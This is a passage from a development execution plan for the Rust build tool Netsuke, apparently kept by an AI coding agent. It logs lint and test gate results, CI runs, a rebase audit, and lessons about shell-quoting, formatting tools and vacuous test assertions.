mechanically rather than asserted: + `exact_labels`, `any_exact_labels`, `accepts_name`, the + counter/histogram/gauge classification, all three noop handles, and both + which-resolution shapes are untouched in the diff; each moved label array is + byte-identical. `docs/developers-guide.md` records the ownership boundary — + the application recorder owns counter admission, the stdlib helper composes + the vocabularies the `src/stdlib/` modules declare, the which rule keeps its + own label-shape predicate — with no ADR and no claim of user-facing change. + +- **A file-cap breach caught mid-flight.** `cargo fmt` re-expanded the grouped + name arm from 2 lines to 4, taking `src/observability_recorder.rs` from 399 + to **401** lines against a 400 cap. It was the only `src/` file over the cap, + and it was under the cap at HEAD, so the breach was self-introduced. The + helper's doc comment was shortened; the file is back to 398, and + `cargo fmt --all -- --check` exits 0. Worth remembering: `cargo fmt` runs + *after* the edit, so a line count measured before formatting is not the count + that gets gated. + +- **Two self-introduced gate failures, repaired** (`efa15684`, `f27f73d4`). + The post-turn hook's first genuine signal in this session was not + environmental: `make check-fmt` failed on `mdtablefix` reflow in + `docs/developers-guide.md` (+9/−10, greedy 80-column fill against manually + narrower wrapping), and `make markdownlint` failed at its `spelling` + prerequisite on `canonicalises` in the caveat paragraph added by `0bf9cc66` + (en-GB-oxendict takes `-ize`). Both were mine. After the fixes, + `mdtablefix --check` reports "168 files left unchanged" and `make spelling` + exits 0 with `typos.toml` regenerating byte-identically. The `-ise` sweep + covered all added prose, not just the cited line. + + This is also the evidence that the earlier environmental story had lifted: + the hook's + `uv tool run --from git+https://github.com/leynos/typos-config-builder` + reached its own gate logic and emitted a *content* finding, which it could + not do while the Lody credential broker was refusing the fetch. + +- **A CodeScene failure in a file I had measured as clean.** After the push, + the PR's CodeScene check went **fail** while + `cs check ./src/observability_recorder.rs` still returned 10.00 — because + CodeScene scores the whole pull-request delta, not the one file the request + named. The offending file was `src/observability_recorder_dialect_tests.rs`, + the sibling I had extended: + `cs check 76c31096:./src/observability_recorder_dialect_tests.rs` reports + 9.84 with `Bumpy Road Ahead (bumps = 2)` at line 160, and the same file is + 10.00 at `a7618c30`, `d665ab41`, and `a3e546ec`, so the regression is mine. + + The bump was a second nested assertion loop added to + `recorder_retains_only_the_bounded_dialect_series`. Flattening it into an + iterator chain that gathers the offending pairs and asserts once restores + 10.00. The flat form is not merely shorter: it reports *every* missing + combination in one failure message instead of stopping at the first, which is + the better assertion independently of the metric. Liveness-checked by + injecting three duplicate valid pairs — the test failed and named + `[("sh", "default")]`. + + The generalizable part is the measurement boundary. "Run CodeScene on the + file I edited" is the habit the request's step 5 invites, and it is + insufficient by construction: the gate is scoped to the *delta*, so any file + the branch touched can carry the finding. Enumerate the changed files and + score each one. Note also that the per-file ceiling is empirical rather than + documented — measured across these commits it is roughly 54 lines — so a + helper that "looks small enough" is not evidence. + + **The repair then contaminated a gate run.** A gate runner was validating + `76c31096` when the fix landed at 23:39:20 — 116 s after `check-fmt`, `lint`, + and `doc-coverage` had finished, and squarely inside `make test`, which was + executing that very file's tests. The runner reported the contamination + rather than burying it, discredited its own binary-grep probe when the probe + proved unreliable, and returned "all five gates exited 0, but gate 4 cannot + be attributed" instead of claiming a clean pass. That is the right shape for + the report; the fault is upstream of it. + + This is the second time this session I have edited under a running gate. The + first was caught and the run restarted. Two instances make it a pattern + rather than an accident, and the rule they jointly teach is not "be careful" + but **commit before delegating a gate** — a gate validates an artefact, so + letting the tree move under it produces a verdict with no referent. The + corollary is that a gate runner should re-read `HEAD` and `git status` + between gates, not only at the ends; this runner says as much itself. + +- **The fix confirmed at the gate** (`31b92635`, `45db8b6a`). CodeScene's PR + check for `45db8b6a` reports **pass** in 58 s, where the same check on + `76c31096` reported **fail**. The local instrument had predicted this — + `cs check` returns 10.00 on both branch-touched code files — and the gate + agreed with it, which is the round trip that makes the local reading a + measurement rather than a guess. + +- **The five local gates at `45db8b6a`: three pass, two blocked.** A gate run + on the clean, committed tree returned `check-fmt` **pass** (2 s, 167 files + formatted, mdtablefix 168 unchanged), `doc-coverage` **pass** (65 pytest + passed; aggregate 4870/4927 = 98.84% against the 80% bar), and `test` + **pass** (119 s; 3636 nextest tests passed, 6 skipped, both doctest targets + green). `lint` and `markdownlint` were **blocked, not failed**: both abort in + the same `uv tool run ... git+https://github.com/leynos/...` step with + `Failed to resolve --with requirement / Git operation failed`, the Lody + credential-broker starvation. `lint` reached and passed `cargo doc`, Clippy, + both Whitaker runs, Ruff, and Pylint 10.00/10 before `lint-python` aborted, so + `yamllint`, `actionlint`, and `ambrleaks` never ran. `markdownlint` died in + its `spelling` prerequisite, so markdownlint-cli2 never ran either — its logs + contain no `Linting: N file(s)` line, which is what distinguishes "did not + execute" from "ran and passed". + + Those two gates are **incomplete validation**, and the honest record is that + the local suite did not fully pass. The substitute is an independent one on + the same SHA, and getting its scope right took a correction: GitHub Actions + run `36782338450` for `45db8b6a` succeeded in all five jobs, and its + `build-test` job does cover the same ground with `make check-fmt`, + `make lint`, and `make typecheck`. It does **not** run `make markdownlint` — + Markdown is checked there by the upstream + `DavidAnson/markdownlint-cli2-action`, and spelling by `make spelling`. That + distinction is not pedantry: the action ships the linter's whole dependency + graph in its release, so it resolves nothing from the registry at run time + and the broker failure that blocked the local `markdownlint` prerequisite + cannot reach it. `lint-windows` (22 m 34 s) and `kani-smoke` (20 m 22 s) are + green too, and the run is named by id rather than asserted in the abstract. + + A note on the dirty window, and a correction to how the evidence read it. The + runner reported the window as 21:56:29Z (when it observed the dirt) to + 21:58:06Z (when it confirmed the restore), and stated that all five gates ran + wholly outside it. Its clock was two hours behind the filesystem, and two + gate mtimes prove the shift exactly: check-fmt at `23:55:27` and the first + `lint` at `23:55:57` match the runner's `21:55:25–21:55:27` and + `21:55:45–21:55:57` with the same seconds in both. Corrected, the window is + 23:56:29Z–23:58:06Z, and it falls *between* the first `lint` attempt + (23:55:57, before it opened) and the second (23:59:02, after it closed). That + is the runner's substance — no gate overlapped the window — but the absolute + times quoted in the first draft were two hours early and are corrected here. + The contamination was real and did not land in any gate, which is luck rather + than design. + +- **Portability datum, with one figure corrected.** The broker was starved for + three `typos-config-builder` invocations on this branch — 23:34:38, 23:48:28, + and 00:02:39 — and for both `lint-python` invocations. A first draft of this + bullet claimed `df12-python-lints` had been reachable at 23:36 on this + branch; no log records that, so the claim is withdrawn rather than restated. + The honest shape is: the *same* gate passed on other branches seconds later + (`spelling-build-tools-scripts...-8` at 00:37:04, on another worktree), so + the outage is branch-adjacent rather than global, and a later spelling run on + a different branch reached `current: typos.toml` at 00:02:24 — evidence the + broker recovers, not evidence it was up here. `typos-cli 1.50.1` is installed + at `~/.cargo/bin/typos`, and `typos.toml` at HEAD is a complete generated + correction map, so `typos --config typos.toml --force-exclude ` + reproduces the spelling gate's rule application locally and returned 0 + misspellings. `markdownlint-cli2` v0.22.1 is local too and reported 168 + files, 0 errors — re-confirmed after these edits by `make fmt`, whose own + linter step runs it and summarized `168 file(s)` with `0 error(s)`. Neither + substitute is what the gate actually ran, and neither is claimed as a pass — + but they are why the two blocked gates are *probably* clean rather than + unknown. + +- **The corrections were re-gated on the corrected tree.** Correcting a plan is + still an edit, so the corrected text carries its own evidence rather than + inheriting `45db8b6a`'s. `make check-fmt` was run twice: the first attempt + exited 2 with `1 file would be reformatted` — mdtablefix re-wrapped the new + prose, a pure line-joining change with no content altered, proved by diffing + the file against a pre-fix snapshot whose SHA-256 matched the working copy + before `make fmt` ran. The second attempt exits 0 (167 files formatted; + mdtablefix 168 unchanged). `make fmt`'s own linter step reported + `Linting: 168 file(s)` with `Summary: 0 error(s)`. The spelling substitute + re-ran at this head and returned 0 misspellings across 169 tracked Markdown + files. + + CodeScene's PR check for `b5ffae38` reports **success**, and the per-file + sweep is 10.00 across every branch-touched Rust file except + `tests/shell_filter_property_tests/property_support.rs` at **9.68** + (`String Heavy Function Arguments`). That one is **not** a branch regression: + the same file scores 9.68 with the same biomarker at the validated baseline + `a7618c30`, and the PR-scoped check passes regardless. Recording it here + because a per-file sweep that reported only its 10.00s would be a measurement + with its awkward datum removed. + +- **The PR shows `CHANGES_REQUESTED`, and it is not a blocker.** `gh pr view` + reports `reviewDecision: CHANGES_REQUESTED` and `mergeStateStatus: BLOCKED`, + which reads as an outstanding objection. It is neither: the review is + CodeRabbit's from 2026-09-27 on `94b9b247`, and **both** of its findings are + already discharged in the current tree. It asked that `compact`'s predicate + test `ValueKind::String` before consulting `as_str` so empty byte arrays + survive, plus an empty-byte-array regression case — `is_blank` now does + exactly that, with the reason recorded at the predicate, and the case exists + in two places (`compact_tests.rs:51-57`, a named test, and + `compact_property.rs:42-44`, a property strategy). Its second finding was a + British-spelling correction that would have been wrong to apply: the gate + mandates en-GB-oxendict `-ize`, and the comment at `compact_property.rs:111` + reads `recognize` because the house rule overrides the reviewer's suggested + `recognise`. So the review is stale, not open. + + `mergeStateStatus: BLOCKED` is a separate misreading worth pinning down, + because the obvious explanation is wrong. The ruleset `main-required-checks` + (id `18427981`) requires exactly four checks — `build-test`, `kani-smoke`, + `netsukefile`, `release / metadata` — and **contains no `pull_request` rule + at all**, so no review state gates a merge here. The block is simply the two + checks still running. Verified with + `gh api repos/leynos/netsuke/rules/branches/main`, which lists those four + contexts and nothing else. + +- **CI is green on the final head `664b9422`.** The prediction above held: + within the hour, `mergeStateStatus` moved `BLOCKED` → `UNSTABLE` → `CLEAN` + with `mergeable: MERGEABLE` as `build-test` (15m01s) and `kani-smoke` + (15m55s) finished, and every check on the PR now passes. The four the ruleset + names — `build-test`, `kani-smoke`, `netsukefile`, `release / metadata` — all + pass, as do the Windows jobs (`build-test-windows`, `lint-windows`, + `windows-msi-upgrade`), all six release artefact builds, + `release-admission-canaries`, `CodeScene`, `Gecko`, and `CodeRabbit`. The + only non-pass states are `skipping`, which is the normal outcome for + `automerge`, the external reviewers whose bots declined, and the two release + jobs gated on a real tag. So the local `lint` and `markdownlint` gates, left + **blocked, not failed** by the broker outage, are covered for this revision + by the same commands on the same SHA in run `36789327168`. The `build-test` + job's own step list is the evidence, not the job's green badge: `Lint` (which + is `make lint`), `Lint Markdown`, `Format`, `Typecheck`, `Doc coverage`, + `Spelling`, `Validate Mermaid diagrams`, `Workflow contract tests`, and + `Test and Measure Coverage` each report `success` on `664b9422`. That is the + CI substitute the earlier entry promised, and it is now evidence rather than + intent. + + `reviewDecision` is still `CHANGES_REQUESTED`, and deliberately so: it is the + stale CodeRabbit review, and GitHub keeps the decision until a human + dismisses it or a new review lands. `mergeStateStatus` reads `CLEAN` despite + that, which is the contradiction the previous entry predicted and is the + reason the two fields must be read together rather than as one status. + +- **The broker recovered, and the two blocked gates now pass locally.** While + polling CI, `make markdownlint` and `make lint` — the pair left **blocked, + not failed** by the starved credential broker — were re-run and both exited + `0`. `markdownlint` reached its linter for the first time this session + (`Linting: 168 file(s)`, `0 error(s)`), and `make spelling`, which shares the + same fetched tool, passed as well; `lint` ran to completion through Clippy, + Whitaker, Ruff, Pylint, the df12 house lints, `ambrleaks`, and `interrogate` + (`RESULT: PASSED`, `100.0%`). So the earlier substitute evidence is no longer + merely a substitute — it is corroborated by a local run of the same commands. + The distinction the previous entry drew still matters, though: those local + results are for the plan revision, and they do not retroactively apply to + `45db8b6a`, where the outage genuinely prevented them. + + This is worth stating plainly because a blocked gate and a passing gate look + identical in a summary that only lists exit codes. The honest record is that + the outage was real, that CI covered the same commands on the same SHA in the + meantime, and that the local re-run afterwards removed the doubt rather than + the outage having been imagined. + + **Revision note, stated rather than re-gated.** The last revision at which + the full local gate set passed is `664b9422`, where `check-fmt`, + `markdownlint` (168 files, 0 errors), `spelling`, `nixie`, `typecheck`, and + `lint` all exited `0`. Every commit after it carries **only prose in this one + file** — 45 added lines across `7d3e2a19` and the revision note that follows + it — and its Rust, Python, YAML, and catalogue content is therefore + byte-identical to what those gates passed. The two Markdown-sensitive gates + were re-run on the committed revision anyway (`markdownlint` again 168 files + and 0 errors, `spelling` clean), because a re-wrap can break Markdown in a + way nothing else would catch. Repeatedly re-running the whole set here does + not converge: the commit that records a run moves `HEAD` past the revision + the run verified, so the record would demand a further run, indefinitely. + Closing the loop by naming the last verified revision and the delta is the + deliberate choice. + + **The local linter version moved under the run, so the markdown figures need + their version attached.** The gate shells out to + `uv tool run markdownlint-cli2` without a version pin, and the tool moved + between `v0.22.1 (markdownlint v0.40.0)` and `v0.23.2 (markdownlint v0.41.1)` + while this session was in progress. It is not a one-way upgrade, which is the + part worth recording: a later run of this same session reported `v0.22.1` + again, so successive local runs are not even mutually comparable. Every exit + was `0`, but `0 errors` from one version is not the same evidence as + `0 errors` from another, and a bare "168 files, 0 errors" hides which one + spoke — the same failure of provenance as quoting a gate result without its + revision. So the figures here name their version: the `664b9422` run was + `v0.22.1`'s and the `v0.23.2` re-run was `v0.23.2`'s, and neither subsumes + the other. CI pins the linter through `DavidAnson/markdownlint-cli2-action`, + so the authoritative result for any head is the action's, not a local run's. + +- **CI re-ran on the tip and stayed green, so the claim survives its own + commit.** The push that recorded `664b9422`'s green moved the PR head to + `84a155f5`, superseding that run, and `pull_request: [synchronize]` means a + docs-only commit still gets the full workflow. It was worth watching rather + than assuming: the new run `36793325099` completed `success`, with all five + jobs green — `build-test` (40 steps), `kani-smoke` (18), `build-test-windows` + (19), `lint-windows` (21), `windows-msi-upgrade` (11) — plus all six release + artefact builds and `release-admission-canaries`. Every required context + passes on `84a155f5`, and `mergeStateStatus` is again `CLEAN` with + `mergeable: MERGEABLE`. + + `reviewDecision` remains `CHANGES_REQUESTED` on this head too, which is the + cleanest demonstration of the point that entry was making: the field is a + historical record of the stale review, not a live gate, and it will keep + reading that way on every future head until a human dismisses it. Reading it + as an active blocker would mean ignoring `mergeStateStatus: CLEAN` in the + same response, which is why the two are recorded together. + +- **The last CI run of this session is green on `ad83a5d3`.** Recorded because + it is the tip at the time of writing, and the same trap that made the + `84a155f5` run worth watching applies to it: this very entry moves the head + again. Run `36795395610` completed `success` with all five jobs green + (`build-test` 40 steps, `kani-smoke` 18, `build-test-windows` 19, + `lint-windows` 21, `windows-msi-upgrade` 11). Every required context passes on + `ad83a5d3` and the PR is `CLEAN`. No further local gate runs are claimed for + it — the delta from `664b9422` is prose in this one file, stated under the + revision note above, and the recursion that note describes is not re-entered + here. + +- **2026-10-01: rebased onto `origin/main` `d91ebb49`.** The base had moved from + `6357fda5` to `d91ebb49` (three commits: the Whitaker installer bump, an + install-action bump, and Ruff rule selection by name). The replay boundary is + the same one the previous rebase used — `6357fda5`, which is the parent of + `c46474ec`, the first branch commit — so it needed no re-derivation. + `git cherry` reported all 89 commits as unlanded (no squash parent to + exclude) and `git rev-list --merges` was empty, confirming a linear, wholly + branch-owned series. + + **The replay was clean and byte-identical.** All 89 commits replayed with no + conflicts and no empty-commit stops, and `git range-diff` marks every one of + them `=`: not "a similar patch applied", but the same patch. The head moved + `8cec6d12` → `6d53180f`; the count is now 92 because the three upstream + commits are inherited. + + **The only overlapping file was `docs/developers-guide.md`,** which both + sides changed. Main's edit was a five-line `installer-version: '0.2.7'` → + `'0.2.9'` bump in three places, none of them near this plan's sections, so + there was nothing to reconcile by hand and no conflict arose. The proof that + both sides survived is exact rather than impressionistic: + `git diff 8cec6d12 HEAD -- docs/developers-guide.md` is *precisely* those + five lines and nothing else. Main's improvement landed and this branch's three + `accepts_stdlib_counter_registration` sections are untouched. + + **The semantic audit is worth recording because three of its four checks were + negative results.** The skill's audit asks for (1) target-only paths + byte-identical, (2) no unexplained deletions, and (3) no newly repeated + blocks. (1) was vacuous — there are *no* target-only paths, because main's + eight changed files are all also touched by the branch. (2) passed exactly: + the 109-file change sets of `6357fda5..8cec6d12` and `d91ebb49..HEAD` are + identical as sets. (3) is the one that needed care, and it needed care + because the first two attempts at the check were wrong. My initial script + compared `Counter` values but bound the tuple positionally and printed + `1 -> 1` as an "increase" — an impossible state that should have been + rejected on sight rather than reported. The corrected version produced 12,034 + hits, which is also useless: every block a branch *adds* grows from zero. The + check only has meaning against the signature it was written to catch, which + is a block that already existed at the target and acquired *more* copies. + Narrowed to that, exactly seven blocks grew `1 -> 2`, and reading all seven + showed each to be a deliberate new test — a blocked-with-default case + alongside the empty-default case, a second per-lookup-determinism series, a + fallback-redaction case, and so on. Not one was a duplicated block. + + **Gates after the replay, all green on `6d53180f`:** `make check-fmt` (167 + files formatted; mdtablefix 168 unchanged), `make typecheck`, `make lint` + (Clippy, Whitaker, Ruff 0.16.4, Pylint 10.00/10 twice, `ambrleaks`, + `interrogate` 100%, yamllint, actionlint), `make test` (**3636 tests run, + 3636 passed, 0 failed** across 110 binaries, plus both doctest targets), and + `make markdownlint` (168 files, 0 errors). The `make test` figure is worth + stating precisely because a naive `grep -i failed` on the log returns 41 hits + — every one of them a `PASS` line whose *test name* contains "failed" + (`a_failed_template_expansion_records_a_bounded_error_outcome`, + `case_04_connection_failed`, and so on). The authoritative line is nextest's + own `Summary: 3636 tests run: 3636 passed`. + + Pushed with `--force-with-lease` bound to the pre-rebase remote head + `8cec6d12`, which was re-read from the GitHub API immediately before the push + and matched the snapshot taken before the rewrite. + +## Surprises & discoveries + +- Observation: **A test that asserts a substring can pass on the strength of + the error it was meant to rule out.** `case_11_hash` asserted that the query + error mentions `hash`. With the `hash` stub mistakenly registered as a + function, MiniJinja reported `unknown filter: hash` — which contains `hash`, + so the case passed. The assertion was written to prove the helper was + *deliberately disabled*, and it was satisfied by the helper not existing. The + general shape: when a test checks for an artefact's name, any error that + names the artefact passes, including the "it isn't there" error. Impact: the + `hash` drift reached a full green gate set, and the one case that failed + (`digest`) failed for an unrelated reason, so the suite looked like it had + caught the class when it had caught one instance. The fix is to assert the + distinguishing text (here, the disabled marker), not the shared one; applied, + it converted thirteen of fifteen cases from vacuous to live and immediately + found a fourteenth that had been vacuous for longer than this branch has + existed. +- Observation: **Hand-retyping a block is not moving it, and the drift it + introduces is invisible to a compile check.** The extraction was done by + writing the child out rather than by relocating the text, and three closures + changed: `digest`'s arity, `linecount`'s return type, and `hash`'s + registration kind. `cargo check --all-targets` under `-D warnings` passed for + all three, because each is a well-typed program — a stub with the wrong arity + compiles, and `add_function`/`add_filter` are both legitimate. Only a runtime + that actually evaluates the template can tell them apart. Impact: this is the + argument for the plan's own "the extraction is a pure move" language being a + *requirement* rather than a description, and it is why the parent is at + `pub(super)` on two items that a hand-write would not need. The mechanical + check that settles it is a normalized diff of the moved range against the + pre-image: with whitespace collapsed, the two must differ only in the + intended visibility widenings. +- Observation: **A rebase is lossless in proportion to how little it has to + resolve, and that proportion is measurable rather than assumed.** Fourteen of + fifteen commits replayed to identical trees; the fifteenth carried a real + three-region resolution and is the only one whose patch-id moved. + `git range-diff ` states this directly — `=` for a + replay that reproduced the commit, `!` for one that did not — and pairing it + with `git patch-id --stable` per commit gives the same verdict from an + independent mechanism, so a disagreement between the two would itself be a + finding. Impact: the review that follows a rebase can be scoped to the + commits marked `!`, because the `=` commits are provably the trees that were + already gated. A per-commit `--stat` is the second check, not the first: it + is cheap and it catches a resolution that changed the *size* of a commit, but + it cannot see a same-size content change, which is exactly what `range-diff` + exists to show. Recorded because "rebasing discards your gated commit" is + only half the story: it discards the *guarantee*, and the range-diff is what + tells you how much of it has to be re-earned. +- Observation: **A plan's citation can go stale while its conclusion stays + true, which is the failure mode a re-check is for.** The "Enforcing exactly + one implementation" section names two `.quoted(` imports, at + `src/ir/cmd_interpolate/mod.rs:12` and `src/stdlib/command/quote.rs:6`. The + first path does not exist and has not for some time; the real pair is + `src/shell_word.rs:15` and `src/stdlib/command/quote.rs:6`, the latter since + renamed to `child_argument.rs` by this milestone. The count is still two and + the reasoning still holds — the two call sites are the shared implementation + and the one delegation to it — but the stated reason ("exactly two sites") is + now true for a different set of paths than the text claims. Impact: the plan + was written from a survey of the pre-EP-M3 tree and one of its file paths was + already wrong when it was written, so nothing in the branch would have caught + it; only a fresh grep does. The mitigation for EP-M5 is to cite by symbol + (`shell_word::quote_word`, `quote_child_argument`) rather than by + `path:line`, which is the same lesson as the line-number-citation rule + already recorded elsewhere in this repository: anchors that survive edits are + names, not positions. +- Observation: **`git diff HEAD` is not the post-rebase + change report, and reads as a catastrophic one.** Comparing the pre-rebase + head against the rebased head diffs across two different bases, so it reports + every file upstream changed as though it were the rebase's doing — 2.1 MB of + output on this branch, listing `Cargo.lock`, the READMEs, and the workflow + files. Those are upstream's 40 commits arriving underneath, not any change to + this branch's work. Impact: nearly filed as "the rebase rewrote two hundred + files". The correct instruments are `git range-diff` for "did my commits + survive", and `git diff be2733a1..` — or simply the + per-commit `--stat` — for "what did the resolution add". Both were + substituted before anything was concluded; the 2.1 MB figure appears here + only because it is the tell for this specific mistake. +- Observation: **`shell-quote`'s `Sh` encoder is a *suffix*-quoting encoder, + not a canonically enclosing one.** It leaves the safe prefix bare and quotes + only the remainder: `a b` → `a' b'`, `it's` → `it\'s`, `a\tb` → `a'b'`, + `a\b` → `a'\b'`. Evidence: measured through the real dependency — the + workspace pins `shell-quote 0.7.2` with + `default-features = false, features = ["sh"]` (`Cargo.toml:138`), and a + scratch crate at that exact version and feature set printed the table; + `/bin/sh` independently decodes `a' b'` back to `a b` and `it\'s` back to + `it's`. Impact: EP-M3's unit table was first written with *invented* + expectations (`'a b'`, `'it'\''s'`) taken from a different major version of + the crate probed with default features, and two of three cases failed against + correct production code. The table now pins measured values and its doc + comment says so. The same wrong belief had also reached `quote_word`'s **doc + comment**, which claimed the encoder "emits the shortest form that decodes + back to `value` — bare where that is safe, and single-quoted otherwise"; + prose asserting a shape nobody had measured. It now describes suffix-quoting + and names round-tripping as the contract. The general trap: the obligation is + round-tripping (`OBL-SH-ROUNDTRIP` says exactly that), not a canonical form, + so any test asserting a specific *shape* must be measured rather than derived + — and a probe must match the dependency's version **and** feature flags, + because `shell-quote` 0.6 with defaults emits `'it\047s'` while 0.7.2 with + `features = ["sh"]` emits `it\'s`. Confidence: verified by execution, both + directions. + +- Observation: **the `no_expect_outside_tests` rule bit a third time, in the + file this milestone added, while both earlier fixes were still in the plan.** + `src/stdlib/config/recipe_shell.rs`'s test helper `config()` unwrapped two + `Result`s, and Whitaker's lint keys off the nearest enclosing function — a + `#[cfg(test)]` module's non-`#[test]` helper is not test code, exactly as the + entry above records for `src/manifest/tests/env_function.rs`. Evidence: the + first-ever completed `make lint-whitaker` run on this branch, at + `src/stdlib/config/recipe_shell.rs:76,78`, reporting "The call originates + within function `config` which is not recognized as a test." Impact: this is + the most instructive failure of the milestone, because the rule was *already + written down twice in this very document* — once for EP-M1 and once in the + observation above — and the new code still repeated it. A recorded lesson + does not prevent a recurrence; only a running gate does, and `lint-whitaker` + had never once executed on this branch because `lint-clippy` aborted + `make lint` ahead of it on both prior runs. The fix follows the established + shape: `config()` now returns `anyhow::Result` via + `StdlibConfig::from_current_dir()` — the same constructor `config_tests.rs` + uses — and each `#[test]` unwraps, so the `expect` sits where the lint + recognizes it. Confidence: verified by `make lint-whitaker` exiting 0. + +- Observation: **`make fmt` is not sufficient to make an edited execplan pass + `markdownlint`; MD046 needs a structural fix, and `mdtablefix` can *create* + an MD013 violation while clearing others.** Three distinct tools act on this + one file and they do not agree. `mdtablefix --wrap` refills prose to its own + width, so a hand-wrapped line is not stable; and a wrapped paragraph inside a + list item is read by `markdownlint` as an *indented code block* (MD046) when + it sits at the same 6-space indent as its neighbours, because only the first + line of a paragraph may be a lazy continuation of the list item. Re-indenting + that paragraph from 6 spaces to 2 clears MD046. Evidence: bisected against + the pinned `markdownlint-cli2 v0.22.1` — `head -2429` plus a 6-space + paragraph reproduces MD046, the same input at 2 spaces does not, and neither + fires when the list item is shorter or when the paragraph follows a blank + line directly after the bullet. Impact: the previous seven-gate run reported + MD046 at `docs/execplans/…md:2430` and MD013 at `:2483`; both survived a + `make fmt` because `make fmt` runs `mdtablefix` (which re-wraps) but not + `markdownlint --fix` for a rule it cannot fix positionally, and the MD013 + line *moved and grew* (81 → 84) once `mdtablefix` reflowed the paragraph + around it. Fixing MD013 therefore required changing the prose (splitting a + long code span into two shorter ones), not re-wrapping it — a positional fix + would be undone by the next `mdtablefix` run. Confidence: verified by + bisection against the pinned linter. + +- Observation: **`typos.toml` is regenerated from shared, gitignored state that + this worktree does not own, so restoring it is futile.** `make spelling` + rewrote the file on every run of this session — +14 ignore patterns, all of + which come from `.typos-oxendict-base.toml` (untracked, gitignored, shared + across worktrees) rather than from this branch: 13 of the 14 match nothing in + this tree, and the one that does (`currentColor`) is pre-existing in + `src/graph_view/render_html/style.rs`. Evidence: `git restore -- typos.toml` + followed by a single `make spelling` re-added exactly the same 14 lines, and + the base file's mtime predates the run. Impact: the earlier decision to + restore the file after each gate — made to avoid importing unrelated lines + into an EP-M3 commit — does not hold, because the next gate reproduces them; + and `AGENTS.md` says the file is regenerated on every run and never drift + checked in CI. The file is therefore left regenerated and is kept out of the + milestone commit rather than being fought. Confidence: verified by the + restore-and-rerun experiment. + +- Observation: **an edit that replaced a doc comment left an orphaned fragment + that no gate would have caught.** Reworking `shell_word.rs` to drop the + deferred `ShellDialect` helper methods replaced the block *between* the + `is_recipe_admissible` doc comment and the function, and took the doc's + opening summary line with it — leaving a bare `///` followed by "Newline, + carriage return, and NUL cannot: …", a sentence with no antecedent. Evidence: + the file state at `cargo fmt` time; `rustfmt`, `clippy`, and `cargo doc` all + accept an orphaned `///` fragment, and `missing_docs` is satisfied by the + *presence* of a doc comment regardless of whether it parses as prose. Impact: + EP-M3's own deliverable included a summary-less public-ish predicate whose + docs read as a non-sequitur, and it survived a full seven-gate run and a + CodeRabbit pass. The lesson is that comment-adjacent deletions need a read of + the *resulting* comment, not a diff review of the removed lines. Confidence: + verified by reading the file. + +- Observation: **`src/stdlib/config/mod.rs` had less headroom than the plan + recorded, and the 400-line cap forced a module split.** The plan's own + measurement note — the observation in this section beginning + "`src/manifest/render.rs` is now **exactly 400 lines**" — recorded 383 lines + at `0ba6672f` and warned to re-measure rather than trust the count. + Re-measuring at EP-M3 gave the same 383, and the `dialect` field plus + `with_recipe_shell` builder pushed it to 405 — over AGENTS.md's hard cap. + Evidence: `wc -l src/stdlib/config/mod.rs` before and after. Impact: the + recipe-shell concern moved to a new sibling + `src/stdlib/config/recipe_shell.rs`, following the clustering `which.rs` and + `ambient.rs` already establish; `mod.rs` returned to 393. The cap applies to + every source file including tests, so this was not optional. Confidence: + verified by `wc -l` and a passing `RUSTFLAGS="-D warnings" cargo check`. + +- Observation: **D4's `is_undefined` arm is unreachable, so the shipped + `env_default_from_kwargs` is a two-arm match, not the three-arm sketch.** + `impl ArgType for Option` maps absent, `none`, *and* undefined onto + `Ok(None)`, so a guard for undefined can never fire once the read is + `Option`. Evidence: `minijinja-2.24.0/src/value/argtypes.rs:530-544`: + `Some(value) => if value.is_undefined() || value.is_none() { Ok(None) } else + { T::from_value(Some(value)).map(Some) }`. + Impact: `manifest.env.args_error` is reachable only for a *defined, + non-string* `default`; the plan's `undefined_default_error` helper is deleted + rather than implemented, and `manifest.env.default_not_string` carries the + whole type-check. The distinction is harmless in practice — + undefined/none/absent all mean "no fallback" — but the plan text asserted + otherwise, so it is corrected here. Confidence: verified from the vendored + source and by the red tests' own + `explicit_none_default_is_equivalent_to_omitting_it` case. +- Observation: the disabled `env` stub is reached only through a `when` + clause, not through a `description`. A query-surface `env()` call in a target + *description* fails at the manifest render with + `Failed to load manifest at …` on the `message` field and the actual + `env is disabled …` text buried in `causes`; the description path reports the + outer context, not the helper. Evidence: `netsuke --json help targets` on a + manifest whose description calls `env` emits + `"message": "Failed to load manifest at …"` with + `causes: [ …, + "render target description", "invalid operation: env is disabled …"]`. + Impact: `tests/stdlib_manifest_query_tests.rs` asserts on `/causes`, not on + `/message`, or the "disabled, not an argument error" contract would be + unchecked. This is also why the check runs a real process: the diagnostic + shape is a CLI concern. +- Observation: `cargo nextest run --test ` does **not** select an + integration-test binary in this workspace; the binary is named + `netsuke-build::`, so the selector is + `-E 'binary(stdlib_manifest_query_tests)'`. Impact: the red transcripts in + "Artefacts and notes" record the working invocation, not the plan's. +- Observation: Netsuke runs Windows recipes under Windows PowerShell, not + `cmd.exe`, and `src/ir/cmd_interpolate/mod.rs` already implements a second + quoting dialect for it. Evidence: `src/recipe_shell.rs:18-27`, + `src/ninja_gen_recipe_shell.rs:16-17`, `docs/users-guide.md:331-399`, + `src/ir/cmd_interpolate/mod.rs:137-150`. Impact: invalidates `RFC-0006-8.9`'s + premise that `sh` is the only dialect Netsuke can quote for; drives D2 and + the fusion of filter registration with runner plumbing in EP-M4. +- Observation: `src/stdlib/command/quote.rs` produces `cmd.exe` quoting on + Windows, but it is never exposed to templates — it supports the `shell` and + `grep` filters, which spawn a process through the platform shell. Evidence: + `src/stdlib/command/mod.rs:81-111` registers only `shell` and `grep`; + `format_command` in `src/stdlib/command/filters.rs:126-149` is the only + consumer. Impact: it is the wrong quoter to reuse for recipe text, despite + its name. +- Observation: a new message key must be added to all 35 catalogues or + `cargo build` fails through `build.rs:291`. Evidence: + `build_l10n_audit/compare.rs:159-172`; + `tests/build_l10n_audit_tests.rs:136-147`; + `docs/developers-guide.md:285-302`. Impact: dominates the mechanical effort; + drives R1 and the "run `cargo build` first" step in EP-M4. +- Observation: there is no parity test between `register_with_config` and + `register_manifest_query`; the disabled `env` stub's arity is maintained by + hand. Evidence: `src/stdlib/register.rs:181-184`; no enumeration test found. + Impact: drives R8 and OBL-QUERY-SURFACE. A general parity test is worth a + future roadmap item but is out of scope here. +- Observation: `shell-quote`'s `Sh` encoder emits *fragmented* quoting, and it + does not treat the equals sign as inert. `a b` becomes `a' b'`, and + `target-cpu=native` becomes `target-cpu'=native'`. Evidence: `escape_chars` + and `Char::from` in `shell-quote-0.7.2/src/sh.rs` and `src/ascii.rs`; the + inert set is exactly alphanumerics plus comma, full stop, solidus, + underscore, and 